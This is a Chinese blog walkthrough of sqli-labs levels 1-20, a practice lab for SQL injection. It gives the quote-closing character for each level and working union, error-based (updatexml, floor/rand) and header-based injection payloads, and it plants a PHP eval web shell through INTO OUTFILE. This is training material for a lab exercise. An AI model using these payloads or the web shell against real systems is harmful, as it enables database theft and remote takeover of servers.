Sqli-labs通关记录
10关一更
Less-1
单引号闭合注入,无过滤,直接常规注入
Less-2
无闭合符号,无过滤,直接注入
Less-3
闭合符号变成了')
,无过滤,直接注入
Less-4
闭合符号变成了")
,无过滤,直接注入
Less-5
条件为True时回显 You are in…
条件为Fasle时无回显
闭合符号为单引号
但在尝试闭合符号的过程中发现页面会报错误信息
可知该题既可以用布尔盲注,也可以用报错注入
这里附上自己写的第一个盲注脚本留作纪念(效率低,耗时长)
1 | #在知道库名security的情况下爆表名 |
1 | #在知道表名f14g和列名flag的情况下爆数据 |
Less-6
和Less-5比较,闭合符号变成了双引号,其余不变
可以用报错注入和布尔盲注
Less-7
题目提示用 into outfile
写入一句话木马,首先尝试了半天闭合符号才发现是'))
。
要写入一句话木马自然需要路径,这里的路径需要用到布尔盲注和@@datadir
或@@basedir
命令去拿到。
SELECT @@datadir
:查看数据的存放路径
SELECT @@basedir
:查看MySQL数据库路径
布尔盲注爆出路径
1 | and substr(@@datadir,0,1)='a' --+ |
写入一句话木马,这里注意路径处的转义字符\
要双写,否则会发生转义导致路径错误。
1 | and select 1,"<?php @eval($_POST['shell']);?>",3 into outfile '路径' |
最终语句:
1 | union select 1,2,"<?php @eval($_POST['shell']); ?>" into outfile 'D:\\phpstudy2018\\PHPTutorial\\MySQL\\shell.php'--+ |
Less-8
只有回显和不回显两种情况
闭合符号为单引号的布尔盲注
参考Less-5的脚本
Less-9
只有一种回显情况,而且不报错误信息
常规的时间盲注,无任何过滤,闭合符号为单引号
Less-10
常规无过滤的时间盲注,闭合符号为双引号
Less-11
给出了uname
和passwd
两个输入的参数
两个参数处都可以用单引号闭合并且进行常规注入
1 | uname=admin&passwd=123' union select 1,database()--+&submit=Submit |
Less-12
和Less-11相同,常规无过滤,闭合符号变成了")"
Less-13
常规无过滤,闭合符号为')
但无回显,因此可以结合报错注入
1 | uname=admin&passwd=123') union select 1 from(select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a--+&submit=Submit |
Less-14
与Less-13相比,闭合符号变成了"
,其余不变
Less-15
无任何过滤,单引号闭合,但只会回显两个图片,可以用布尔盲注
Less-16
和Less-15相同,闭合符号是双引号"
Less-17
闭合符号为单引号,可以用updatexml
报错注入
1 | uname=admin&passwd=123' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit |
Less-18
会回显ip和user,可以在http头中User-Agent
处进行报错注入,闭合符号为单引号
1 | User-Agent:abc'or updatexml(1,concat(0x7e,database(),0x7e),1) or'1 |
Less-19
类似Less-18,会回显ip和referer字段,可以在http头中Referer
字段处进行报错注入
Less-20
可以抓包在http头中Cookie
字段处进行常规注入,闭合符号为单引号
- 本文作者: Squidward
- 本文链接: http://www.squidward.xyz/2020/11/26/sqli-labs通关记录/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!